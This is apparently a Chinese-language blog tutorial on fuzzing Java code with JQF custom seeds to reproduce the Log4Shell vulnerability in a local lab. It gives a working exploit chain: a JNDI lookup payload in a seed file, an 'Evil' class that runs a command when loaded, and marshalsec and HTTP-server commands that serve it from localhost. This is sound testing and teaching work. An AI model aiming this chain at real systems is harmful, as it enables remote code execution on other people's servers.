JQF简介

JQF 是一个面向 Java 的反馈驱动模糊测试平台(类似于 AFL/LibFuzzer,但针对 JVM 字节码)。JQF采用属性测试的抽象机制,便于将模糊驱动程序编写为参数化JUnit测试方法。该平台基于junit-quickcheck构建,支持运行junit-quickcheck风格的参数化单元测试,同时融合Zest等覆盖率引导模糊算法的强大功能。

Zest 是一种将覆盖率引导模糊测试偏向生成语义有效输入的算法,即在满足结构与语义属性的同时最大化代码覆盖率。其目标是发现传统模糊工具无法检测的深层语义缺陷——后者主要仅关注错误处理逻辑。默认情况下,JQF 通过简单命令运行 Zest:mvn jqf:fuzz

上述介绍中的mvn jqf:fuzz,前提是你的Maven工程引入对应的Maven插件,由于jqf有很多小优化,这边建议直接使用当前最新版jqf-2.0(截止2025-11-13),本文由于漏洞复现需要,选择jqf-1.7(最后一个兼容JDK8的版本)来测试,下面以jqf自定义seed模糊测试扫描Log4j2 shell漏洞(CVE-2021-44228),来介绍jqf-maven-plugin的简单使用

环境搭建

本文使用的是以下环境

  • Windows x10 64
  • IDEA 2025.2.3
  • JDK 1.8.0_65
  • Apache Maven 3.9.11
  • JNDI注册中心+HTTP托管
    • marshalsec-0.0.3
    • Python 3.13.5
  • jqf 1.7
  • jqf-maven-plugin 1.7

要在cmd中mvn使用对应版本的JDK,请配置正确的JAVA_HOME

打开IDEA-新建一个Maven项目,示例pom.xml文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>top.lrui1</groupId>
<artifactId>jqf-test</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<!-- 漏洞版本 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<!-- JUnit 4 必须,否则 @RunWith 报 Cannot resolve symbol -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>

<!-- 模糊测试运行器-->
<dependency>
<groupId>edu.berkeley.cs.jqf</groupId>
<artifactId>jqf-fuzz</artifactId>
<version>1.7</version>
<scope>test</scope>
</dependency>
<!-- 字节码插桩-->
<dependency>
<groupId>edu.berkeley.cs.jqf</groupId>
<artifactId>jqf-instrument</artifactId>
<version>1.7</version>
</dependency>
</dependencies>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<build>
<plugins>
<plugin>
<groupId>edu.berkeley.cs.jqf</groupId>
<artifactId>jqf-maven-plugin</artifactId>
<version>1.7</version>
</plugin>
</plugins>
</build>

</project>

log4j2漏洞+jqf代码示例

src/main/java/top/lrui1/Log4j2RCE.java内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package top.lrui1;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j2RCE {
private static final Logger log = LogManager.getLogger();
/* JQF 会反射调这个方法并把payload传进来 */
public static void testLog(String payload) {
log.error(payload); // 触发 lookup
}
}

src/test/java/top/lrui1/Log4jFuzzTest.java内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package top.lrui1;

import edu.berkeley.cs.jqf.fuzz.Fuzz;
import edu.berkeley.cs.jqf.fuzz.JQF;
import org.junit.runner.RunWith;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

@RunWith(JQF.class) // 告诉 JQF 用 fuzz runner
public class Log4jFuzzTest {
/* 入口方法,参数就是待变异数据 */
@Fuzz
public void testLog(String payload) {
Vuln.testLog(payload);
}
}

此时可以在项目根目录下运行以下命令进行模糊测试了

1
2
3
4
# 注意必须是compile,不然会报错
mvn clean compile
# 进行10s的模糊测试
mvn jqf:fuzz -Dclass=top.lrui1.Log4jFuzzTest -Dmethod=testLog -Dtime=10s

image.png

image.png

可以发现,提交给testLog方法的payload都是一些奇奇怪怪的字符,几乎不可能成功触发漏洞,接下来我们就要自定义seed来让jqf使用我们的词典来进行扫描

自定义词典扫描

自定义seed,通过mvn jqf:fuzz-Din参数实现,这里要注意的是,-Din指向的是一个目录,它的效果是让jqf在这个目录下,将所有的文件以二进制读取传入目标方法

综上所述,我们在项目根目录新建一个seeds文件夹,具体的文件如下

1
2
3
4
5
├─seeds
000000.in
000001.in
000002.in
000003.in

其中,.in后缀不是强制的,4个文件代表4个payload,他们的内容分别如下

1
2
3
4
string1
normal1
test3
${jndi:rmi://127.0.0.1:9999/Evil}

你也可以使用python脚本,快速将字典文件,每一行变成一个文件存入文件夹中,可以让LLM帮你完成这件事,这边提供一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
"""create_seeds.py

Create a JQF-compatible seeds directory from a payload list.

Usage:
python create_seeds.py [--payload-file PAYLOAD_FILE] [--outdir SEEDS_DIR] [--encoding utf8|base64]

- If --payload-file is provided, the script reads payloads line-by-line from that file.
Empty lines are ignored.
- If not provided, the script uses a built-in default list.
- By default payloads are written as raw UTF-8 bytes (no BOM).
- If you use --encoding base64 then each line is expected to be Base64 and will be
decoded to binary before writing as a seed file.
- The script writes files named 000000.in, 000001.in, ... in the output directory.

Security note:
One of your payloads contains a JNDI/RMI payload. Only run fuzzing with such payloads in an
isolated test/sandbox environment. Do NOT run this against production or internet-connected services.

Example:
python create_seeds.py --payload-file payload.txt --outdir seeds
"""

import argparse
import os
import sys
import base64

DEFAULT_PAYLOADS = [
"string1",
"normal1",
"test3",
"${jndi:rmi://127.0.0.1:9999/Evil}"
]

def read_payloads_from_file(path):
payloads = []
with open(path, "r", encoding="utf-8", errors="surrogateescape") as f:
for line in f:
line = line.rstrip("\n\r")
if line == "":
continue
payloads.append(line)
return payloads

def ensure_dir(path):
if not os.path.isdir(path):
os.makedirs(path, exist_ok=True)

def write_seeds(payloads, outdir, encoding="utf8"):
ensure_dir(outdir)
written = []
for idx, p in enumerate(payloads):
name = "{:06d}.in".format(idx)
outpath = os.path.join(outdir, name)
if encoding == "utf8":
data = p.encode("utf-8")
elif encoding == "base64":
# decode base64 line to bytes
data = base64.b64decode(p)
else:
raise ValueError("unsupported encoding: " + encoding)
with open(outpath, "wb") as wf:
wf.write(data)
written.append((outpath, len(data)))
return written

def main():
parser = argparse.ArgumentParser(description="Create JQF seeds directory from payloads")
parser.add_argument("--payload-file", "-p", help="Path to payload file (one payload per line). If omitted, uses built-in list.", default=None)
parser.add_argument("--outdir", "-o", help="Output seeds directory (default: ./seeds)", default="seeds")
parser.add_argument("--encoding", "-e", help="Payload encoding: utf8 (default) or base64", choices=["utf8","base64"], default="utf8")
args = parser.parse_args()

if args.payload_file:
if not os.path.isfile(args.payload_file):
print("ERROR: payload file does not exist:", args.payload_file, file=sys.stderr)
sys.exit(2)
payloads = read_payloads_from_file(args.payload_file)
else:
payloads = DEFAULT_PAYLOADS[:]

if len(payloads) == 0:
print("No payloads to write. Exiting.", file=sys.stderr)
sys.exit(0)

written = write_seeds(payloads, args.outdir, encoding=args.encoding)
print("Wrote {} seed files to '{}'".format(len(written), args.outdir))
for p, l in written:
print(" {} ({} bytes)".format(p, l))

if __name__ == '__main__':
main()

在有了自定义的seeds文件夹后,我们需要修改我们的jqf-fuzz相关代码,即src/test/java/top/lrui1/Log4jFuzzTest.java,需要让其接收二进制流的格式,具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package top.lrui1;

import edu.berkeley.cs.jqf.fuzz.Fuzz;
import edu.berkeley.cs.jqf.fuzz.JQF;
import org.junit.runner.RunWith;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

@RunWith(JQF.class) // 告诉 JQF 用 fuzz runner
public class Log4jFuzzTest {
/* 入口方法,参数就是待变异数据 */
@Fuzz
public void testLog(InputStream inputStream) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder sb = new StringBuilder();
String tmp;
while ((tmp = br.readLine()) != null) {
sb.append(tmp);
}
Log4j2RCE.testLog(sb.toString());
}
}

接下来就是搭建JNDI注入所需的环境了,先准备好要远程加载的类

Evil.java

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;

public class Evil {
static{
try { // touch /tmp/jndi (Linux)
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
}

使用 javac Evil.java 进行编译后,使用python的http模块托管

1
python -m http.server 8888

image.png

接下来启动一个JNDI目录服务,这边使用marshalsec快速创建RMI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Evil" 9999

其中http为前面恶意类的托管url,9999是JNDI目录服务的端口,我们需要让目标执行

1
${jndi:rmi://127.0.0.1:9999/Evil}

这部分就在上方的seeds文件夹的其中一个文件中

上述步骤完成后,在项目根目录执行以下命令

1
2
mvn clean test-compile
mvn jqf:fuzz -Dclass=top.lrui1.Log4jFuzzTest -Dmethod=testLog -Din=seeds/ -Dtime=10s

image.png

可以看到计算器弹出,JQF的结果如下

image.png

总共有4个非法输入出现了Unique failures2次

总结

个人拙见:JQF在SDL中是一个DAST工具,可以嵌入单元测试,进行快速的模糊测试,发现代码问题

相关资料太少了,貌似没jazzer好用

参考链接

https://github.com/rohanpadhye/JQF

https://github.com/rohanpadhye/jqf/wiki/JQF-Maven-Plugin

https://github.com/rohanpadhye/JQF/issues/131